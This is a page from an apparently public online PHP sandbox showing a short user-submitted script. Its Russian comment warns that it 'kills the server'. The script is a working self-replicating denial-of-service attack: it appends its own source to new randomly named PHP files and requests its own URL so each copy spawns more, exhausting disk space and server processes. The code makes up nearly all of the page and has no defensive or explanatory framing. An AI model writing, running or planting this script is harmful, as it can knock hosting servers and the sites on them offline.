11 - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of 11.php

  1. <?// Внимание! Этот скрипт убивает сервер!Он очень опасен!
  2. $belhakmazafaka="<?\$url=((!empty(\$_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . \$_SERVER['HTTP_HOST'] . \$_SERVER['REQUEST_URI'];file_put_contents(\"168698659.php\",\$belhakmazafaka, FILE_APPEND);\$belhakmazafaka=file_get_contents(\"168698659.php\");\$r=rand(0,1000000000);file_put_contents(\"\$r.php\",\$belhakmazafaka, FILE_APPEND);file_get_contents(\"\$url?a=\$r\");?>";
  3. $url=((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  4. file_put_contents("168698659.php","$belhakmazafaka", FILE_APPEND);
  5. $belhakmazafaka=file_get_contents("168698659.php");
  6. $r=rand(0,1000000000);
  7. file_put_contents("$r.php",$belhakmazafaka, FILE_APPEND);
  8. file_get_contents("$url?a=$r");?>
  9.  
File Description
  • 11
  • PHP Code
  • 10 Apr-2021
  • 830 Bytes
You can Share it: